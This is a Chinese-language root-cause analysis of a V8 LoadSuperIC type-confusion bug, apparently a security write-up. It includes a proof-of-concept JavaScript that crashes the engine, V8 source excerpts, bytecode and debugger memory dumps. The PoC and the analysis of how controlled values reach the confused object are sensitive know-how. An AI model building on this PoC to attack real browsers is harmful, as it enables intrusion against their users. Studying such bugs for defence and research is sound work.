    // TODO(v8:11880): avoid roundtrips between cdc and code.
    TNode<Code> code_handler = FromCodeT(CAST(handler));
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, code_handler,
                               p->context(), p->lookup_start_object(),
                               p->name(), p->slot(), p->vector());
  }
}

总结：

1、首先判断handler类型，判断其是否为smi或者LoadICProto类型或者call_handler类型

2、根据handler类型进入不同的处理流程，随后去调用相应的处理函数。

handler的类型，可以有以下四种：

  • Smi
  • LoadHandler / StoreHandler object
  • weak pointer to a PropertyCell (for global loads)
  • code object

Super 超类

supper超类是用来获取对象的父类里的属性或者函数。如下例所示：

1
2
3
4
5
6
7
8
9
10
class A { }
A.prototype.x = 100;

class B extends A {
  m() {
    return super.x;
  }
}
const b = new B();
b.m();

这里的原型链如下所示：

1
2
3
4
5
b ->
 b.__proto__ === B.prototype ->
  B.prototype.__proto__ === A.prototype ->
   A.prototype.__proto__ === Object.prototype ->
    Object.prototype.__proto__ === null

这里由于在m函数中定义了超类super.x，那么这里开始查找属性x时会从当前调用函数的对象的__proto__开始查找，也就是现在直接从对象B.prototype.__proto__开始向上查找，也即从A.prototype开始查找，最终x在对象A中找到。

总结：对于超类的属性访问，遍历查找的起点lookup start object是当前主对象的__proto__（上例中为对象A），receiver是当前发生超类访问的函数的对象（上例中为对象b)。

并且为了提高超类属性访问的效率，V8按照前面所述正常的属性访问的逻辑，实现了LdaNamedPropertyFromSuper方法，关于该方法与正常属性访问的异同，在下面漏洞分析时具体分析。

关于超类的更细致的知识，可以参考这篇文章Super fast super property access

漏洞原因

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};

//2.mjs
import * as exmodule from "1.mjs";
function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = exmodule;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }
    
    for (let i = 0; i < 0x10000; i++) {
    	//print("test: ",i)
        trigger();
    }
}

poc();

这里主要说明一下trigger函数的流程：

1、 C.prototype.__proto__ = zz;将C类的原型链指向了zz；

2、C.prototype.__proto__.__proto__ = module相当于将zz的原型链指向了exmodule

3、let c = new C();会将c.__proto__指向C.prototype

4、随后是对c增加了一些成员变量；

5、let res = c.m();会去执行C中的m()成员函数，return super.y;涉及到属性查找，其会从原型链向上找到主对象zz.prototype，查找顺序如下：

1
2
3
c.prototype.__proto__ = C.prototype
C.prototype.__proto__ = zz.prototype
zz.prototype.__proto__ = exmodule.prototype

6、 这里由于这里是返回super.y，结合前面基础知识中提到的超类，可知遍历查找y的值时，会跳过当前对象c的原型，会直接从zz对象中起始向前查找。这里由于zz没有y变量，所以其会继续向上遍历查找到exmodule中，返回y的对象。

这里如果多次执行trigger函数，那么则会对trigger中的各项指令进行优化，其中就包括对其中IC的更新。这里经过测试该POC中c.m()函数经过多次执行后，feedback中状态变为如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
module:
DebugPrint: 0x9700804a3dd: [Function]
 - map: 0x0970082022a9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0970081c3b4d <JSFunction (sfi = 0x9700814415d)>
 - elements: 0x09700800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x0970081d3811 <SharedFunctionInfo m>
 - name: 0x0970081d3149 <String[1]: #m>
 - builtin: InterpreterEntryTrampoline
 - formal_parameter_count: 0
 - kind: ConciseMethod
 - context: 0x09700804a3a5 <BlockContext[4]>
 - code: 0x097000184e81 <Code BUILTIN InterpreterEntryTrampoline>
 - interpreted
 - bytecode: 0x0970081d3ccd <BytecodeArray[7]>
 - source code: () {
            return super.y;
        }
 - properties: 0x09700800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x970080048f1: [String] in ReadOnlySpace: #length: 0x097008142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x97008004a21: [String] in ReadOnlySpace: #name: 0x0970081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: 0x970081d3e39: [FeedbackVector] in OldSpace
 - map: 0x097008002711 <Map>
 - length: 2
 - shared function info: 0x0970081d3811 <SharedFunctionInfo m>
 - no optimized code
 - optimization marker: OptimizationMarker::kNone
 - optimization tier: OptimizationTier::kNone
 - invocation count: 2
 - profiler ticks: 0
 - closure feedback cell array: 0x9700800328d: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x097008002955 <Map>
 - length: 0

 - slot #0 LoadProperty MONOMORPHIC {	//feedback
     [0]: [weak] 0x097008207f01 <Map(HOLEY_ELEMENTS)>
     [1]: 270
  }

这里我们可看到对于c.m()代码的feedback，经过多次执行后，其状态仍然为MONOMORPHIC。那么这条指令处理时，会进入我们上面所讲的MONOMORPHIC流程。而slot[0]的handler为smi

直接运行exp会出现如下报错：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Fatal error in ../../src/objects/object-type.cc, line 48
# Type cast failed in CAST(LoadFromObject(MachineTypeOf<T>::value, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1160
  Expected Module but found Smi: 0x21212121 (555819297)

#
#
#
#FailureMessage Object: 0x7ffffb738670



#0  0x00007f1d08ee12c9 in v8::base::OS::Abort()::$_0::operator()() const (this=0x7ffffb7385a8) at ../../src/base/platform/platform-posix.cc:535
#1  0x00007f1d08ee12b3 in v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:535
#2  0x00007f1d08eba3b3 in V8_Fatal (file=0x7f1d0a0d0ddf "../../src/objects/object-type.cc", line=48, format=0x7f1d0a0f38d7 "Type cast failed in %s\n  Expected %s but found %s") at ../../src
/base/logging.cc:167
#3  0x00007f1d0be7e62f in v8::internal::CheckObjectType (raw_value=50935128801858, raw_type=198, raw_location=50934151428129) at ../../src/objects/object-type.cc:45
#4  0x00007f1d0ac1a10f in Builtins_LoadSuperIC () from /home/alex/v8/v8/out.gn/x64.debug/libv8.so
#5  0x00007f1d0b150977 in Builtins_LdaNamedPropertyFromSuperHandler () from /home/alex/v8/v8/out.gn/x64.debug/libv8.so
#6  0x00002e5308293f45 in ?? ()
#7  0x0000000000000046 in ?? ()
#8  0x0000000000000000 in ?? ()

从报错信息中可以看到这里发生的错误是期望处理一个Module类型的对象，但是却得到了一个smi类型的整数0x21212121。而这里的整数能够明显看出是上述POC中传入的c.x0的值。根据栈回溯也能够看到报错发生在LdaNamedPropertyFromSuperHandler中调用LoadSuperIC时对对象进行了类型检查CheckObjectType。这里根据CheckObjectType函数传入的第一个参数raw_value=50935128801858，该地址等于$1 = 0x2e5342424242，该值刚好为我们写入的c.x0的值加上一个高位的基地址指针。

可以知道，发生错误的大概原因就是执行LoadSuperIC时，传入的参数本应该是一个Module类型的对象，但是此时传入的却是一个smi整数，导致最终取值时发生了错误。

而且可以看到是在处理LoadPropoerty操作时，引发了这个错误。通过上面对feedback的输出和查看字节码，可以看到这个POC中有好几处LoadProperty操作。我们可以通过在POC每一处LoadProperty操作前进行输出，然后来判断是具体是哪一处出现了错误。这里，经过我的测试，是在如下代码处会报错：

1
let res = c.m();

调试分析及源码分析

接下来，动态调试分析。首先在执行触发漏洞代码前，输出c和exmodule的对象结构，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//exmodule object
DebugPrint: 0x2c050810a12d: [JSModuleNamespace]
 - map: 0x2c05082c7e11 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
 - prototype: 0x2c0508002235 <null>
 - elements: 0x2c0508003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
 - module: 0x2c05082937f1 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
 - properties: 0x2c050810a65d <PropertyArray[1]>
 - All own properties (excluding elements): {
    0x2c0508005669 <Symbol: Symbol.toStringTag>: 0x2c05080049f5 <String[6]: #Module> (const data field 0), location: properties[0]
    0x2c0508293641: [String] in OldSpace: #x: 0x2c05082938ed <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2c0508293651: [String] in OldSpace: #y: 0x2c050829390d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2c0508293661: [String] in OldSpace: #z: 0x2c050829392d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x2c0508003295 <NumberDictionary[7]> {
   - max_number_key: 0
 }


//c object
DebugPrint: 0x2c050810a9c5: [JS_OBJECT_TYPE]
 - map: 0x2c05082c7ed9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2c050810a349 <C map = 0x2c05082c7f01>
 - elements: 0x2c050800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x2c050800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2c0508293cc1: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
    0x2c0508293cd1: [String] in OldSpace: #x1: 572662306 (const data field 1), location: in-object
    0x2c0508293ce1: [String] in OldSpace: #x2: 589505315 (const data field 2), location: in-object
    0x2c0508293cf1: [String] in OldSpace: #x3: 606348324 (const data field 3), location: in-object
    0x2c0508293d01: [String] in OldSpace: #x4: 673720360 (const data field 4), location: in-object
 }

首先可以看到mexodule的类型为JSModuleNamespace，c的对象类型为JS_OBJECT_TYPE。且此时c的property中存储了我们的赋值x0到x4。这里看一下c和exmodule的内存布局如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//c
pwndbg> tel 0x2c050810a9c4
00:0000│  0x2c050810a9c4 ◂— 0x800222d082c7ed9
01:0008│  0x2c050810a9cc ◂— 0x424242420800222d /* '-"' */		//x0
02:0010│  0x2c050810a9d4 ◂— 0x4646464644444444 ('DDDDFFFF')
03:0018│  0x2c050810a9dc ◂— 0x5050505048484848 ('HHHHPPPP')
04:0020│  0x2c050810a9e4 ◂— 0xbeadbeefbeadbeef
... ↓     3 skipped
  
//exmodule
pwndbg> tel 0x2c050810a12c
00:0000│  0x2c050810a12c ◂— 0x810a65d082c7e11
01:0008│  0x2c050810a134 ◂— 0x82937f108003295				//module
02:0010│  0x2c050810a13c ◂— 0x8002b5d080022c5
03:0018│  0x2c050810a144 ◂— 0x80000003a /* ':' */
04:0020│  0x2c050810a14c ◂— 0x1000000000
05:0028│  0x2c050810a154 ◂— 0xa /* '\n' */
06:0030│  0x2c050810a15c ◂— 0x80023b5080023b5
07:0038│  0x2c050810a164 ◂— 0x8005669080023b5

可以看到我们传入的x0的值被存储到了偏移0x14的位置。而在exmodule中偏移0x14的位置存储的刚好是module结构。结合我们前面的崩溃信息，可以知道这里的LoadSuperIC函数应该传入的对象是exmodule，但是却传入了c对象，导致最终根据偏移去取module结构地址时，却取到了c.x0的值，而这个值是一个整数，最终报错。

总结：这个漏洞应该是在发生属性访问LoadProperty时，由于c这个对象类型和exmodule这个对象类型发生了混淆，导致最终处理报错。

前面大概说明了漏洞原因，接着需要分析整体的漏洞触发流程。

字节码

这里看一下POC生成的字节码，主要看漏洞触发函数指令生成的字节码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[generated bytecode for function: m (0x3b24081d3825 <SharedFunctionInfo m>)]
Bytecode length: 7
Parameter count 1
Register count 0
Frame size 0
OSR nesting level: 0
Bytecode Age: 0
         0x3b24081d3cc2 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]
         0x3b24081d3cc4 @    2 : 2e 02 00 00       LdaNamedPropertyFromSuper <this>, [0], [0]
         0x3b24081d3cc8 @    6 : a8                Return 
Constant pool (size = 1)
0x3b24081d3c95: [FixedArray] in OldSpace
 - map: 0x3b2408002205 <Map>
 - length: 1
           0: 0x3b24081d33ed <String[1]: #y>

基于基础知识，我们知道当发生属性访问操作时，会先由LdaNamedPropertyFromSuper汇编码进入kLoadSuperIC函数进行处理。在LoadSuperIC中，会根据处理对象的的feedback_vector来执行不同的处理流程。

这里需要注意，由于我们前面提到的超类的原因，所以在处理漏洞指令时，并不会去按照前面基础知识所提的去执行LoadIC流程，而是会去执行LoadSuperIC流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// LdaNamedPropertyFromSuper <receiver> <name_index> <slot>
//
// Calls the LoadSuperIC at FeedBackVector slot <slot> for <receiver>, home
// object's prototype (home object in the accumulator) and the name at constant
// pool entry <name_index>.
IGNITION_HANDLER(LdaNamedPropertyFromSuper, InterpreterAssembler) {
  TNode<Object> receiver = LoadRegisterAtOperandIndex(0);
  TNode<HeapObject> home_object = CAST(GetAccumulator());
  TNode<Object> home_object_prototype = LoadMapPrototype(LoadMap(home_object));
  TNode<Object> name = LoadConstantPoolEntryAtOperandIndex(1);
  TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
  TNode<HeapObject> feedback_vector = LoadFeedbackVector();
  TNode<Context> context = GetContext();
	
  //调用kLoadSuperIC
  TNode<Object> result =
      CallBuiltin(Builtin::kLoadSuperIC, context, receiver,
                  home_object_prototype, name, slot, feedback_vector);
  SetAccumulator(result);
  Dispatch();
}

No_Feedback

当第一次执行POC中的trigger函数时，由于此时所有指令都是第一次执行，所以此时feedback向量全部为UNINITIALIZED状态。所以此时会进入no_feedback流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//LoadSuperIC
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
  ExitPoint direct_exit(this);

  TVARIABLE(MaybeObject, var_handler);
  Label if_handler(this, &var_handler), no_feedback(this),
      non_inlined(this, Label::kDeferred), try_polymorphic(this),
      miss(this, Label::kDeferred);
  //判断是否存在feedback，若不存在则进入no_feedback流程
  GotoIf(IsUndefined(p->vector()), &no_feedback);

  ...
	
  //调用LoadSuperIC_NoFeedback
  BIND(&no_feedback);
  { LoadSuperIC_NoFeedback(p); }

	...

  BIND(&miss);
  //此处调用kLoadWithReceiverIC_Miss，参数是p->receiver(),p->lookup_start_object
  direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
                                p->receiver(), p->lookup_start_object(),
                                p->name(), p->slot(), p->vector());
}

这里的检查方式即检查此时是否有feedback_vector，如果没有则跳入kLoadIC_NoFeedback处理流程。

LoadSuperIC_NoFeedback

接着进入LoadIC_NoFeedback函数，重点分析一下在执行上面的一条指令时其对应的IC会存储什么值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void AccessorAssembler::LoadSuperIC_NoFeedback(const LoadICParameters* p) {
  Label miss(this, Label::kDeferred);
  TNode<Object> lookup_start_object = p->lookup_start_object();

  // The lookup start object cannot be a SMI, since it's the home object's
  // prototype, and it's not possible to set SMIs as prototypes.
  TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

  TNode<Uint16T> instance_type = LoadMapInstanceType(lookup_start_object_map);
	//对lookup_start_object对象检查
  GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map,
                      instance_type, p, &miss, kDontUseStubCache);

  BIND(&miss);
  {
    TailCallRuntime(Runtime::kLoadWithReceiverNoFeedbackIC_Miss, p->context(),
                    p->receiver(), p->lookup_start_object(), p->name());
  }
}

LoadSuperIC_NoFeedback函数刚开始也会通过GenericPropertyLoad对map类型进行一些检查判断。随后调用LoadWithReceiverNoFeedbackIC_Miss函数去为当前IC创建feedback向量。

kLoadWithReceiverNoFeedbackIC_Miss

在LoadNofFeedbackIC_Miss函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
RUNTIME_FUNCTION(Runtime_LoadWithReceiverNoFeedbackIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());
  // Runtime functions don't follow the IC's calling convention.
  Handle<Object> receiver = args.at(0);
  Handle<Object> object = args.at(1);
  Handle<Name> key = args.at<Name>(2);
	//创建feedback向量
  Handle<FeedbackVector> vector = Handle<FeedbackVector>();
  //创建slot
  FeedbackSlot vector_slot = FeedbackSlot::Invalid();
  //获取当前IC的状态
  LoadIC ic(isolate, vector, vector_slot, FeedbackSlotKind::kLoadProperty);
  //更新IC状态
  ic.UpdateState(object, key);
  //ic.Load
  RETURN_RESULT_OR_FAILURE(isolate, ic.Load(object, key, true, receiver));
}

在这个函数中开始创建新的feedback向量，然后会获取当前ic，然后更新ic状态，随后调用ic.Load函数去为新的feedback向量写入值。

Ic.Load

进入这一步之后，就和我们前面基础知识分析的流程很类似了。这里结合调试分析的内容来说明，IC创建的过程。

进入ic.Load函数，重点关注此时传入的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//调用 LoadIC
MaybeHandle<Object> LoadIC::Load(Handle<Object> object, Handle<Name> name,
                                 bool update_feedback,
                                 Handle<Object> receiver) {
  //判断是否使用IC机制
  bool use_ic = (state() != NO_FEEDBACK) && FLAG_use_ic && update_feedback;
	
  //对receiver对象进行检查
  ...
	...

  if (it.IsFound() || !ShouldThrowReferenceError()) {
    // Update inline cache and stub cache.
    if (use_ic) {
      //对inline cache进行更新
      UpdateCaches(&it);    
    } 
    
    ...
    
    // Get the property.
    Handle<Object> result;

    ASSIGN_RETURN_ON_EXCEPTION(
        isolate(), result, Object::GetProperty(&it, IsLoadGlobalIC()), Object);
    if (it.IsFound()) {
      //最终返回结果
      return result;
    } else if (!ShouldThrowReferenceError()) {
      LOG(isolate(), SuspectReadEvent(*name, *object));
      return result;
    }
  }
  return ReferenceError(name);
}

可以看到传入的receiver此时为我们poc中的c对象为JS_OBJECT_TYPE。object对象为c上级原型链zz，name为当前需要处理的变量名y

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> jh receiver
0x2cc20810a56d: [JS_OBJECT_TYPE]
 - map: 0x2cc2082c7ed9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2cc20810a365 <C map = 0x2cc2082c7dc1>
 - elements: 0x2cc20800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x2cc20800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2cc208293cc9: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
    0x2cc208293cd9: [String] in OldSpace: #x1: 572662306 (const data field 1), location: in-object
    0x2cc208293ce9: [String] in OldSpace: #x2: 589505315 (const data field 2), location: in-object
    0x2cc208293cf9: [String] in OldSpace: #x3: 606348324 (const data field 3), location: in-object
    0x2cc208293d09: [String] in OldSpace: #x4: 673720360 (const data field 4), location: in-object
 }

pwndbg> jh object
0x2cc20810a3f5: [JS_OBJECT_TYPE]
 - map: 0x2cc2082c7de9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2cc20810a149 <Object map = 0x2cc2082c7e11>
 - elements: 0x2cc20800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x2cc20800323d <PropertyArray[0]>
 - All own properties (excluding elements): {
    0x2cc208293969: [String] in OldSpace: #aa: 1 (const data field 0), location: in-object
    0x2cc208293979: [String] in OldSpace: #bb: 2 (const data field 1), location: in-object
 }
pwndbg> jh name
0x2cc208293651: [String] in OldSpace: #y

由于Lazy_feedback_allocation分配机制，当初次没有feedback时，并不会立即去分配feedback，而是会在执行多次之后才会去分配feedback向量。

这里经过测试，在执行9次之后，满足了Lazy feedback allocation机制之后，此时就会真正去启动ic，最终会进入Updatecaches函数，去更新cache缓存，在UpdateCaches最终会进入ComputeHandler处理流程，去获得真正的handler处理结构。

ComputeHandler

这里首先解释一下holder和receiver之间的关系，当发生属性访问修改时，receiver是发起并接受结果的对象，holder是被调用处理的对象。

以漏洞代码为例，此处c是作为this传递给访问器调用的对象，而访问m函数，则C对象就是holder

1
res = c.m();

而紧接着进入m函数执行中，发生了超类属性访问，此时receiver仍然是this对象即c，而holder变为了父类即我们引入的exmodule。

1
2
3
m() {
	return super.y;
}

这里以super.y这句代码来调试说明，程序会进入ComputeHandler中ACCESSOR分支：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
case LookupIterator::ACCESSOR: {
  Handle<JSObject> holder = lookup->GetHolder<JSObject>();
  // Use simple field loads for some well-known callback properties.
  // The method will only return true for absolute truths based on the
  // lookup start object maps.
  FieldIndex index;
			
  ...
  //进入该分支
  if (holder->IsJSModuleNamespace()) {
    //此时传入的是holder
    //是从holder对象中，获取module属性
    //holder是 exmodule对象
    Handle<ObjectHashTable> exports(
        Handle<JSModuleNamespace>::cast(holder)->module().exports(),
        isolate());
    InternalIndex entry =
        exports->FindEntry(isolate(), roots, lookup->name(),
                           Smi::ToInt(lookup->name()->GetHash()));
    // We found the accessor, so the entry must exist.
    DCHECK(entry.is_found());
    //计算要获取的属性在哈希表中的索引
    int index = ObjectHashTable::EntryToValueIndex(entry);
    //返回LoadModuleExport handler函数
    return LoadHandler::LoadModuleExport(isolate(), index);
  }

ComputeHandler主要流程就是根据处理类型，去创建对应的LoadHandler对象。首先ComputeHandler函数传入的参数receiver是c对象，holder是exmodule这个对象，其类型为JSModuleNamespace。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> jh receiver			//c
0x24a70810aa11: [JS_OBJECT_TYPE]
 - map: 0x24a7082c7ed9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24a70810a395 <C map = 0x24a7082c7f01>
 - elements: 0x24a70800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x24a70800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24a708293cc9: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
    0x24a708293cd9: [String] in OldSpace: #x1: 572662306 (const data field 1), location: in-object
    0x24a708293ce9: [String] in OldSpace: #x2: 589505315 (const data field 2), location: in-object
    0x24a708293cf9: [String] in OldSpace: #x3: 606348324 (const data field 3), location: in-object
    0x24a708293d09: [String] in OldSpace: #x4: 673720360 (const data field 4), location: in-object
 }

pwndbg> jh holder			//exmodule
0x24a70810a179: [JSModuleNamespace]
 - map: 0x24a7082c7e11 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
 - prototype: 0x24a708002235 <null>
 - elements: 0x24a708003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
 - module: 0x24a7082937f1 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
 - properties: 0x24a70810a6a9 <PropertyArray[1]>
 - All own properties (excluding elements): {
    0x24a708005669 <Symbol: Symbol.toStringTag>: 0x24a7080049f5 <String[6]: #Module> (const data field 0), location: properties[0]
    0x24a708293641: [String] in OldSpace: #x: 0x24a7082938ed <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24a708293651: [String] in OldSpace: #y: 0x24a70829390d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24a708293661: [String] in OldSpace: #z: 0x24a70829392d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x24a708003295 <NumberDictionary[7]> {
   - max_number_key: 0
 }

随后会进入LookupIterator::ACCESSOR处理流程。在这里会将holder对象传入作为export的参数。然后最终返回一个LoadHandler::LoadModuleExport处理指针，这里可以看到对应的handler是一个smi_handler。如下所示：

1
2
pwndbg> jh handler
Smi: 0x18e (398)
Handler 产生

这里为什么会生成smi_handler，这个数字是怎么来的，我们进入LoadModuleExport函数调试一下：

1
2
3
4
5
6
7
8
9
 106 Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {
   107   int config =
   108       KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);
 ► 109   return handle(Smi::FromInt(config), isolate);
   110 }

inline MaybeObjectHandle handle(MaybeObject object, Isolate* isolate) {
  return MaybeObjectHandle(object, isolate);
}

可以看到，在LoadModuleExport函数中会对kModuleExport和index调用encode函数进行加密，然后将结果进行与操作。

这里的kModuleExport表示此时handler的类型，这里的index表示此时这个属性在哈希表中获取的索引，这里需要通过哈希表查找才能获得该值。

最后将smi结果调用handler进行封装，得到最终的一个smi_handler。

总结：一个smi_handler是将handler的类型和属性在value中的偏移进行加密封装之后产生的。

最终为super.y这个超类属性访问生成的feedback如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
DebugPrint: 0x2a6e0804a409: [Function]
 - map: 0x2a6e082022a9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2a6e081c3b4d <JSFunction (sfi = 0x2a6e0814415d)>
 - elements: 0x2a6e0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x2a6e081d383d <SharedFunctionInfo m>
 - name: 0x2a6e081d3149 <String[1]: #m>
 - builtin: InterpreterEntryTrampoline
 - formal_parameter_count: 0
 - kind: ConciseMethod
 - context: 0x2a6e0804a3d1 <BlockContext[4]>
 - code: 0x2a6e00184e81 <Code BUILTIN InterpreterEntryTrampoline>
 - interpreted
 - bytecode: 0x2a6e081d3c21 <BytecodeArray[7]>
 - source code: () {
            return super.y;			
        }
 - properties: 0x2a6e0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2a6e080048f1: [String] in ReadOnlySpace: #length: 0x2a6e08142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2a6e08004a21: [String] in ReadOnlySpace: #name: 0x2a6e081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: 0x2a6e081d3d99: [FeedbackVector] in OldSpace
 - map: 0x2a6e08002711 <Map>
 - length: 2
 - shared function info: 0x2a6e081d383d <SharedFunctionInfo m>
 - no optimized code
 - optimization marker: OptimizationMarker::kNone
 - optimization tier: OptimizationTier::kNone
 - invocation count: 2
 - profiler ticks: 0
 - closure feedback cell array: 0x2a6e0800328d: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x2a6e08002955 <Map>
 - length: 0

 - slot #0 LoadProperty MONOMORPHIC {	//生成的feedback
     [0]: [weak] 0x2a6e08207e39 <Map(HOLEY_ELEMENTS)>
     [1]: 398										//ComputeHandler 生成的handler
  }

No_Feedback 总结：

在起始的8次循环中，由于Lazy Feedback allocation机制，并不会启动IC；

在第9次循环中，会进入No_Feedback流程，去分配feedback，并设置handler。

这里对于漏洞代码，首先传入的reciver是c对象，但是设置的feedback对象却是exmodule这个JSModuleNamespace对象。最终为其设置的handler是LoadHandler::LoadModuleExport类型。

Monomorphic单态处理

前面完成No_Feedback流程之后，在第10次循环时。在LoadSuperIC中就会进入Monomorphic处理流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 // The lookup start object cannot be a SMI, since it's the home object's
 // prototype, and it's not possible to set SMIs as prototypes.
 TNode<Map> lookup_start_object_map =
     LoadReceiverMap(p->lookup_start_object());
//检查map对象是否被修改
 GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
//检查feedback状态是否为mononorphic
 TNode<MaybeObject> feedback =
     TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
                        &if_handler, &var_handler, &try_polymorphic);
//进入对象handler处理
 BIND(&if_handler);
 {
   LazyLoadICParameters lazy_p(p);
   HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
                           &direct_exit);
 }

进入单态处理时，此时feedback中已经有数据，其包含一个map指针（其指向已知映射的指针）和一个处理程序handler。map映射指针仅用作“索引”（feedback处理时，并不会查看map指针其内容，只将此时处理的对象map与feedback存储的map地址相比较）。处理程序handler存储的是从一个shape对象快速加载属性的偏移。

当首次进入Monomorphic单态处理流程时，在TryMonomorphicCase函数中会比较lookup_start_object_map的地址指针与前述feedback向量中存储的map指针进行比较。然后其会根据比较结果，判断是否有handler，设置if_handler标识位，并将找到的handler处理程序通过var_handler返回。

随后进入HandleLoadICHandlerCase去执行相应的handelr。

HandleLoadICHandlerCase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");

  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);
	//判断handler类型
  Label if_smi_handler(this, {&var_holder, &var_smi_handler});

  ...
  
  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  //进入此分支
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }
	
  ...

}

